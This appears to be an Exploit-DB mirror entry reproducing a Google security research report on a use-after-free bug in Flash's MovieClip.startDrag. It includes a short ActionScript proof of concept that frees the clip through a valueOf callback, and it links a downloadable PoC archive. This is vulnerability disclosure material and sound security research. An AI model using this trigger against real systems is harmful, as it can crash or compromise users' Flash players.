exploit-db-mirror/exploits/windows/dos/39041.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

25 lines
No EOL
579 B
Text

Source: https://code.google.com/p/google-security-research/issues/detail?id=592
There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used.
A minimal POC follows:
this.createEmptyMovieClip("mc", 1);
mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4);
function func(){
mc.removeMovieClip();
// Fix heap here
return 1;
}
A sample fla and swf are attached.
Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39041.zip